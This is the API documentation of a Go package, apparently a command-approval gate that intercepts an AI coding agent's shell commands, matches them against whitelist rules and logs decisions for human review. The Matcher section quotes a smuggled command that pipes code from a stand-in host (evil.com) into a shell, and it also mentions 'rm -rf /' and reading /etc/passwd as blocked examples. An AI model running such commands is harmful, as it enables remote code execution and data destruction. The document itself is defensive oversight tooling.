Documentation
¶
Overview ¶
Package gate is the command whitelist enforcement layer. The gate binary (cmd/gate) is invoked by claude's PreToolUse hook with the proposed Bash command on stdin; this package supplies the matcher + log helpers it uses.
Files:
- rule.go — CommandRule struct + Matcher (glob match, shell-metachar guard, scope prefix)
- log.go — commands.jsonl append helper
- claude_hook.go — settings.json generator + temp-dir setup
- embed.go — gate-binary resolver (env / embed / sibling / PATH) + per-app branding via AppName ldflag
Importers: cmd/gate (binary), pool/factory.go (settings path generator), tests.
Index ¶
- Constants
- func AppName() string
- func Append(appName string, entry Entry) error
- func ClaudeSettings(gateBin string) ([]byte, error)
- func IsApprove(d string) bool
- func IsAutoApproved(spec Spec, key string) bool
- func LogDaily(appName, level, msg string, kv map[string]any)
- func MatchKey(tool, cmd string) string
- func MergeUserHooks(gateBin string) error
- func PathWithinScope(path, scope string) bool
- func RemoveUserHooks(gateBin string) error
- func ResolveGateBinary(sessionDir string) (string, error)
- func ResolveGateBinaryWithSource(sessionDir string) (path, source string, err error)
- func SharedCommandsPath(appName string) string
- func SharedSocketPath(appName string) string
- func SharedSpecPath(appName string) string
- func WriteClaudeSettings(dir, gateBin string) (string, error)
- func WriteSharedSpec(appName string, spec Spec) error
- func WriteWorkspaceHooks(workspace, gateBin string) error
- type ApprovalManager
- func (m *ApprovalManager) AutoApproved() []string
- func (m *ApprovalManager) IsSessionAllApproved(sessionID string) bool
- func (m *ApprovalManager) IsSessionApproved(sessionID, matchKey string) bool
- func (m *ApprovalManager) LookupPending(requestID string) (ApprovalRequest, bool)
- func (m *ApprovalManager) PendingFor(_ string) []ApprovalRequest
- func (m *ApprovalManager) Resolve(sessionID, requestID, decision, reason, matchKey string) (bool, error)
- func (m *ApprovalManager) RevokeAlways(sessionID, matchKey string) error
- func (m *ApprovalManager) RevokeSession(sessionID, matchKey string)
- func (m *ApprovalManager) SessionApprovedKeys(sessionID string) []string
- func (m *ApprovalManager) SocketPath() string
- func (m *ApprovalManager) Start() (string, error)
- func (m *ApprovalManager) Stop()
- type ApprovalManagerOptions
- type ApprovalRequest
- type ApprovalResponse
- type CommandRule
- type Entry
- type Listener
- type ListenerOptions
- type Matcher
- type ProbeResult
- type Spec
Constants ¶
const ( SourceSibling = "sibling" SourceEmbed = "embed" SourcePath = "path" )
Resolution source labels — exposed via ResolveGateBinaryWithSource so the Providers page UI can show *how* the binary got picked, useful when debugging why one source silently shadowed another.
const ( DecisionApproveOnce = "approve_once" DecisionApproveSession = "approve_session" DecisionApproveAll = "approve_all" // approve every future command in this session DecisionApproveAlways = "approve_always" DecisionBlock = "block" )
Decision values. Kept as string consts so JSON wire format stays stable across daemon + binary builds; renames are loud.
const DefaultApprovalTimeout = 25 * time.Second
DefaultApprovalTimeout matches the doc commitment in command-gate-architecture.md §5.3. 25s < hook timeout 30s so the gate binary always exits cleanly before claude times out.
Variables ¶
This section is empty.
Functions ¶
func AppName ¶
func AppName() string
AppName returns the active app brand. Gate sidecars derive the brand from their own executable name (wick-lab-gate.exe → "wick-lab") so socket/spec paths land under the correct ~/.<app>/ tree even when no ldflag, APP_NAME env, or wick.yml is present. appname.Resolve() is used only when the exe-derived name is empty or equals the bare default.
func Append ¶
Append writes one entry to the shared commands.jsonl for appName. Used by both the gate binary (post-decision) and any in-proc gate logic that wants to record without going through the binary.
Pre-Stage 9 the log lived per-session under `sessions/<id>/commands.jsonl`; now it's a single app-wide file. The Entry.SessionID field carries the disambiguator for UI grouping.
func ClaudeSettings ¶
ClaudeSettings produces the JSON bytes claude expects in its `--settings` file. gateBin is the absolute path to the gate binary (we don't rely on PATH lookup so a per-test build can be used in integration tests).
On Windows, Claude Code invokes hook commands via /usr/bin/bash (WSL or Git Bash). Backslashes in the path are stripped by bash, turning C:\foo\gate.exe into C:foogate.exe (exit 127). Convert all backslashes to forward slashes so the path survives bash on all platforms.
func IsApprove ¶
IsApprove reports whether a decision string means "let it run". Anything else is treated as block by the binary.
func IsAutoApproved ¶
IsAutoApproved reports whether key is in the spec's AutoApproved list. Linear scan — the list is bounded by user clicks, so O(n) is fine.
func LogDaily ¶
LogDaily writes one human-readable line to ~/.<app>/logs/gate-YYYY-MM-DD.log so operators can tail gate activity alongside server-/worker-/app- logs without parsing commands.jsonl. Fire-and-forget: best-effort, errors swallowed — gate must never crash because logging failed.
Format: zerolog-ish single line, `<RFC3339> <level> <msg> <kv pairs>`. The structured commands.jsonl stays the audit source of truth; this file is purely for "what is gate doing right now" tailing.
func MatchKey ¶
MatchKey hashes (tool, normalized cmd) into a stable identifier the daemon and the gate binary both compute the same way. Used to look up "allow this session" / "always allow" decisions.
Normalization is intentionally minimal for the MVP: trim outer whitespace + lowercase the tool name. Per-arg pattern stripping (e.g. dropping file paths so `git add a` and `git add b` collapse to one key) is deferred — exact-string match keeps the surprise budget at zero. Future work may take a smarter normalizer that users can preview in the UI.
Output is hex(sha256(tool + "\x00" + cmd)), 64 chars. Stable across builds; safe to store + transmit.
func MergeUserHooks ¶
MergeUserHooks writes the gate PreToolUse hook into the user's global ~/.claude/settings.json. Claude Code always reads this file regardless of working directory or permission mode — it is the only reliable way to inject hooks when spawning Claude headlessly with `claude -p`. Existing settings (permissions, autoUpdates, etc.) are preserved; only the `hooks` key is replaced.
This is called at server startup so Claude sessions started while wick is running pick up the hook. Use RemoveUserHooks at shutdown to restore the file to its original state.
func PathWithinScope ¶
PathWithinScope reports whether path resides under (or equals) scope. Used by the gate binary for non-Bash tool path checks.
func RemoveUserHooks ¶
RemoveUserHooks removes the `hooks` key from ~/.claude/settings.json that was written by MergeUserHooks, restoring it to its pre-wick state. Best-effort: errors are logged by the caller, not returned.
func ResolveGateBinary ¶
ResolveGateBinary picks the gate binary for the current process. Thin wrapper around ResolveGateBinaryWithSource for callers that don't care about the resolution source.
func ResolveGateBinaryWithSource ¶
ResolveGateBinaryWithSource resolves the gate binary and returns which step found it. Resolution order:
- sibling-of-executable — `<app>-gate[.exe]` next to the running binary. This is the production path: `wick build` ships the sidecar in every installer (.msi / .deb / .app), so the installed app always finds it here without touching disk for an extract.
- embedded asset, extracted into sessionDir/gate/gate[.exe]. Backup for portable .exe builds (no installer) and for source builds where someone ran `wick build` once but discarded the sibling artifact.
- `<app>-gate` on PATH — last-ditch fallback for unusual setups (e.g. user installed the gate via a separate package manager).
No env-var override and no ldflag injection: AppName comes from the running executable's own filename, so resolution is purely a function of what's on disk.
func SharedCommandsPath ¶
SharedCommandsPath returns the global commands.jsonl audit log. Pre-Stage 9 this lived per-session under `~/.<app>/agents/sessions/<id>/commands.jsonl`; now it's a single app-wide file. UI Commands tab reads from here.
Layout: ~/.<app>/agents/gate/commands.jsonl
func SharedSocketPath ¶
SharedSocketPath returns the Unix domain socket address the gate dials and the daemon listens on. Single shared socket per app — daemon multiplexes requests by inspecting cwd in the payload.
Layout: ~/.<app>/agents/gate/gate.sock
func SharedSpecPath ¶
SharedSpecPath returns the on-disk location of the shared gate spec for an app. AppName empty falls back to the wick default.
Layout: ~/.<app>/agents/gate/spec.json
func WriteClaudeSettings ¶
WriteClaudeSettings writes the per-spawn `--settings` file claude expects. Returns the absolute path so the caller can pass it to ClaudeSpawner.SettingsPath.
Pre-Stage 9 this lived inside WriteSpawnArtifacts which also wrote the spec — now spec is shared (see WriteSharedSpec) and only the settings file is per-spawn.
func WriteSharedSpec ¶
WriteSharedSpec persists the shared spec for appName atomically. Caller passes the already-merged spec — appendAlwaysAllow / RevokeAlways handles read-modify-write in the daemon.
func WriteWorkspaceHooks ¶
WriteWorkspaceHooks writes the gate hook into <workspace>/.claude/settings.local.json so Claude's project-scoped hook loader picks it up. Claude does NOT honour hooks injected via the --settings flag; they must live in the standard settings hierarchy (.claude/settings.json or .claude/settings.local.json). We use the .local variant to avoid conflicting with any settings.json the user may have committed to the workspace. Idempotent: overwrites an existing file with the same content.
Types ¶
type ApprovalManager ¶
type ApprovalManager struct {
// contains filtered or unexported fields
}
ApprovalManager owns the daemon-side approval state. Three concerns:
- Lifecycle of one shared Listener (Start/Stop) — single socket at SharedSocketPath(appName).
- In-memory "approve this session" set, hot path for /approve POST decisions arriving while a pending request is open.
- Persistent "always allow" set, written into the shared spec.json so the gate binary can short-circuit without ever dialing the socket.
Pre-Stage 9 the manager owned one Listener per session; Stage 9 folded that into a single shared listener with cwd-based session routing supplied by the caller (RouteByCWD callback).
Concurrency: the manager mutex guards all maps; Listener handles its own internal concurrency.
func NewApprovalManager ¶
func NewApprovalManager(opt ApprovalManagerOptions) (*ApprovalManager, error)
NewApprovalManager constructs the manager but starts no listener. Call Start to bind the shared socket.
func (*ApprovalManager) AutoApproved ¶
func (m *ApprovalManager) AutoApproved() []string
AutoApproved returns the persistent always-allow list from the shared spec.json. Used by pool.GateConfig to pre-populate the gate's runtime spec view (now read directly from disk by the gate binary; this method is retained for compatibility / rendering).
func (*ApprovalManager) IsSessionAllApproved ¶
func (m *ApprovalManager) IsSessionAllApproved(sessionID string) bool
IsSessionAllApproved reports whether the user clicked "Allow All for Session", which bypasses per-command hash checks for every future request in the session.
func (*ApprovalManager) IsSessionApproved ¶
func (m *ApprovalManager) IsSessionApproved(sessionID, matchKey string) bool
IsSessionApproved reports whether the user clicked "Allow this session" for matchKey in sessionID's current pool lifetime.
func (*ApprovalManager) LookupPending ¶
func (m *ApprovalManager) LookupPending(requestID string) (ApprovalRequest, bool)
LookupPending returns the ApprovalRequest for requestID without removing it from the pending set. Used by the approval handler to retrieve the Cmd before calling Resolve so approve_always can write the command back to the persistent allowed_cmds config.
func (*ApprovalManager) PendingFor ¶
func (m *ApprovalManager) PendingFor(_ string) []ApprovalRequest
PendingFor returns the listener's snapshot of in-flight requests. Stage 9 made this global — sessionID is ignored. Kept on the signature so the JSON view-model field name on the UI side stays readable (`pendingFor(sessionID)` reads better than `pending()`).
func (*ApprovalManager) Resolve ¶
func (m *ApprovalManager) Resolve(sessionID, requestID, decision, reason, matchKey string) (bool, error)
Resolve delivers a UI decision into the matching pending request. Returns false if the request id no longer exists. Side effects:
- approve_session: records matchKey in the in-memory set so later requests for the same command auto-resolve.
- approve_always: records matchKey in the in-memory set AND rewrites the shared spec.json with the updated AutoApproved list so future invocations short-circuit without round-trip.
func (*ApprovalManager) RevokeAlways ¶
func (m *ApprovalManager) RevokeAlways(sessionID, matchKey string) error
RevokeAlways removes matchKey from the shared spec.json AutoApproved list. Affects every running gate invocation as soon as the next LoadSpec on disk happens (i.e., next hook fire) — gate re-reads per call so changes propagate without restart.
func (*ApprovalManager) RevokeSession ¶
func (m *ApprovalManager) RevokeSession(sessionID, matchKey string)
RevokeSession removes matchKey from the in-memory approve-session set only — the always-allow list (if any) is untouched.
func (*ApprovalManager) SessionApprovedKeys ¶
func (m *ApprovalManager) SessionApprovedKeys(sessionID string) []string
SessionApprovedKeys returns the in-memory approve-session list for one session. Used by the UI to render "Approved commands".
func (*ApprovalManager) SocketPath ¶
func (m *ApprovalManager) SocketPath() string
SocketPath returns the bound socket path. Empty if Start hasn't been called or the listener failed to bind.
func (*ApprovalManager) Start ¶
func (m *ApprovalManager) Start() (string, error)
Start binds the shared listener at SharedSocketPath(appName). Idempotent: a second call is a no-op.
func (*ApprovalManager) Stop ¶
func (m *ApprovalManager) Stop()
Stop closes the shared listener. Used at daemon shutdown.
type ApprovalManagerOptions ¶
type ApprovalManagerOptions struct {
// AppName drives SharedSocketPath / SharedSpecPath. Required.
AppName string
// Timeout overrides DefaultApprovalTimeout. Zero = default.
Timeout time.Duration
// RouteByCWD maps a hook payload's cwd to the wick sessionID
// that owns that workspace. Required — without it the manager
// can't tag inbound requests with a session for SSE broadcast.
// Daemon implementation typically scans active session metadata
// for a matching workspace prefix.
RouteByCWD func(cwd string) (sessionID string, ok bool)
// OnRequest fires when the gate binary connects with a new
// request, AFTER cwd→session routing succeeds. Daemon
// broadcasts as SSE `approval_request`.
OnRequest func(sessionID string, r ApprovalRequest)
// OnResolved fires once a decision is delivered. Daemon
// broadcasts as SSE `approval_resolved`.
OnResolved func(sessionID, requestID, decision string)
}
ApprovalManagerOptions wires the manager to its environment.
type ApprovalRequest ¶
type ApprovalRequest struct {
ID string `json:"id"` // UUID minted by the gate binary
SessionID string `json:"session_id"` // also encoded in spec, but echo for clarity
AgentName string `json:"agent_name"`
Tool string `json:"tool"` // "Bash", "Edit", ...
Cmd string `json:"cmd"` // raw command string
WorkDir string `json:"work_dir"` // cwd at exec time
MatchKey string `json:"match_key"`
Timestamp int64 `json:"ts"` // unix ms
Probe bool `json:"probe,omitempty"` // doctor health-check — server auto-replies immediately
}
ApprovalRequest is what the gate binary sends over the unix socket when it needs an interactive decision. Daemon decodes one per connection, then blocks until a UI POST arrives or the timeout fires.
type ApprovalResponse ¶
type ApprovalResponse struct {
ID string `json:"id"`
Decision string `json:"decision"` // "approve_once" | "approve_session" | "approve_always" | "block"
Reason string `json:"reason,omitempty"`
}
ApprovalResponse is the daemon's reply. The gate binary maps Decision to an exit code: any "approve_*" → 0, "block" → 2.
type CommandRule ¶
CommandRule is one whitelist entry. Pattern is a simple glob:
"ls *" → "ls" + any args "git status" → exact "git status" "cat *" → "cat" + any args
Glob is intentionally simple (one trailing `*` for "any args"). We don't support full filename globbing — that would let `rm *` match `rm -rf /` because `*` in the pattern is treated literal.
Scope (optional) restricts argument paths to a prefix. With Scope="/workspace", "cat /workspace/foo" allowed but "cat /etc/passwd" blocked. Empty scope = no path restriction.
func (CommandRule) Validate ¶
func (r CommandRule) Validate() error
Validate reports whether a rule is well-formed. Used by config validation before persisting rules into the configs table.
type Entry ¶
type Entry struct {
Timestamp time.Time `json:"ts"`
Stage string `json:"stage,omitempty"`
SessionID string `json:"session_id,omitempty"`
Agent string `json:"agent,omitempty"`
Tool string `json:"tool,omitempty"`
Cmd string `json:"cmd"`
Status string `json:"status"`
Decision string `json:"decision,omitempty"`
Reason string `json:"reason,omitempty"`
RequestID string `json:"request_id,omitempty"`
MatchKey string `json:"match_key,omitempty"`
WorkDir string `json:"work_dir,omitempty"`
}
Entry is one row appended to the shared commands.jsonl. Each gate invocation may emit multiple entries — one per stage it goes through (received → dispatched → resolved → decided). The stages give the operator a full audit trail when something looks wrong: "I clicked Approve but the command was blocked anyway" → walk the stages and find the gap.
Stages (Status field, when not "allowed" / "blocked"):
- "received" gate process started, spec loaded, cmd parsed
- "stdin_error" stdin parse / timeout / spec missing — terminal
- "auto_allowed" whitelist or AutoApproved hit; no socket call
- "socket_dial" about to dial daemon socket
- "socket_sent" ApprovalRequest written to socket
- "socket_recv" ApprovalResponse read from socket
- "socket_error" any socket-level failure — terminal "blocked"
- "allowed" final decision: command ran (or will run)
- "blocked" final decision: claude saw exit 2
The Status="allowed" / "blocked" line is the one the UI displays in the Commands tab; intermediate stages are kept for debugging.
SessionID is best-effort metadata derived by the daemon from the hook payload's cwd at routing time; the gate binary itself doesn't know which wick session triggered the call so it leaves the field empty and lets the daemon populate it via the post-decision write.
type Listener ¶
type Listener struct {
// contains filtered or unexported fields
}
Listener owns a Unix domain socket per session. Connections from the gate binary land here, get registered as pending, and resolve when the UI calls Resolve(id, decision) — or when the timeout fires.
One Listener per session. Sessions whose gate disabled (no socket) just don't have a Listener at all.
func NewListener ¶
func NewListener(opt ListenerOptions) (*Listener, error)
NewListener binds the unix socket at opt.SocketPath and starts the accept loop in a goroutine. Caller must Close() to clean up.
The socket file is recreated each call: stale leftovers from a crashed previous run are removed, then permissions locked to 0600 so only the owner uid can connect.
func (*Listener) Close ¶
Close stops the accept loop, fails any pending requests with "block (listener closed)", and removes the socket file.
func (*Listener) LookupPending ¶
func (l *Listener) LookupPending(id string) (ApprovalRequest, bool)
LookupPending returns the ApprovalRequest for id without removing it. Used by the approval handler to retrieve the Cmd before resolving.
func (*Listener) PendingSnapshot ¶
func (l *Listener) PendingSnapshot() []ApprovalRequest
PendingSnapshot returns a copy of currently-pending requests. Useful for the UI's "approval queue" view + reconnection rehydrate.
func (*Listener) Resolve ¶
Resolve delivers a decision to the goroutine handling the matching pending request. Safe to call from any goroutine. Returns false if the id is unknown (timed out, already resolved, or never seen).
func (*Listener) SocketPath ¶
SocketPath returns the bound socket path.
type ListenerOptions ¶
type ListenerOptions struct {
SocketPath string
Timeout time.Duration
OnRequest func(ApprovalRequest) // called once per incoming request
}
ListenerOptions configures NewListener. Timeout default = 25s (hook timeout on claude is 30s, leaving headroom for the gate binary to exit cleanly with the daemon's reply).
type Matcher ¶
type Matcher struct {
// contains filtered or unexported fields
}
Matcher decides allow/block per command. Built from a list of rules; wraps them with the shell-metachar guard from §15.1 so a rule like "git *" can't be exploited via `git config core.editor 'curl evil.com | sh'`.
func NewMatcher ¶
func NewMatcher(rules []CommandRule, defaultScope string) *Matcher
NewMatcher returns a Matcher with the given rules and a default scope. When a rule's Scope is empty and defaultScope is non-empty, the defaultScope is used — so rules without an explicit scope are still path-restricted to the default workspace directory.
func (*Matcher) Decide ¶
Decide reports whether the command is allowed. Returns:
- allow=true, reason="" → permitted
- allow=false, reason=<short message> → block
Reason is suitable for logging into commands.jsonl. Caller (the gate binary) chooses the CLI-specific block signal (exit 2 for claude, JSON deny for codex/gemini).
type ProbeResult ¶ added in v0.9.4
type ProbeResult struct {
// Supported is the headline answer: did claude honor the deny
// envelope? True iff the probe file did NOT get created.
Supported bool `json:"supported"`
// Reason is a one-sentence explanation safe to show in a toast.
Reason string `json:"reason"`
// ClaudeVersion is the `claude --version` first line — we capture
// it so the user can paste a bug report without re-running.
ClaudeVersion string `json:"claude_version,omitempty"`
// Stderr / Stdout from the probe spawn, truncated. Help the
// operator debug "supported=false" without re-running on the CLI.
Stderr string `json:"stderr,omitempty"`
Stdout string `json:"stdout,omitempty"`
// DurationMs is wall-clock for the spawn. UI can warn if probe
// took unusually long (e.g. login interactive prompt blocked).
DurationMs int64 `json:"duration_ms"`
}
ProbeResult is what ProbeGateSupport reports back to the UI. The shape is intentionally flat so the JSON survives a frontend JSON stringify without surprises.
func ProbeGateSupport ¶ added in v0.9.4
func ProbeGateSupport(ctx context.Context, claudeBin, gateBin string) ProbeResult
ProbeGateSupport runs a one-shot end-to-end check: does this `claude` build honor our PreToolUse hook's deny envelope?
Why this exists: the hook contract has churned across claude releases (top-level `decision` → `hookSpecificOutput.permission Decision`, exit-2 → exit-0+JSON). A version check is brittle; the only reliable signal is "spawn claude, force-deny, see if the tool actually ran". This function does exactly that:
- tempdir as workspace + sentinel file path inside it
- write a `--settings` file routing PreToolUse[Bash] to `<gateBin> --probe-deny`, which always emits the deny envelope
- `claude -p --settings ... "create file <sentinel>"`
- check if sentinel exists. Exists = claude ignored deny = unsupported. Missing = supported.
Returns Supported=false on any infra failure (claude not on PATH, timeout, etc.) so the UI can surface a single boolean. The Reason field disambiguates "claude broken" vs "gate bypassed".
type Spec ¶
type Spec struct {
Rules []CommandRule `json:"rules"`
// AutoApproved holds matchKey hashes the user already chose
// "Always allow" for. The gate binary checks this list before
// dialing the socket so always-approved commands take a zero-
// latency fast path identical to whitelisted ones.
AutoApproved []string `json:"auto_approved,omitempty"`
// DefaultScope is the filesystem path used as the scope for rules
// that have an empty Scope field. Typically the default workspace
// directory (~/.<app>/agents/workspaces/default/files). When
// empty, rules with no scope are unrestricted (legacy behaviour).
DefaultScope string `json:"default_scope,omitempty"`
}
Spec is the per-app gate config the binary loads at every invocation. Single shared file at SharedSpecPath(AppName) — the gate binary discovers it from compile-time AppName, not runtime env. Rewritten by the daemon when the user toggles always-allow / revoke or edits allowed_cmds.
Pre-Stage 9 this struct also carried session-scoped fields (SessionID, AgentName, SocketPath, SessionCommandsPath); those are gone now — gate is session-agnostic, daemon routes approvals via the cwd in the ApprovalRequest.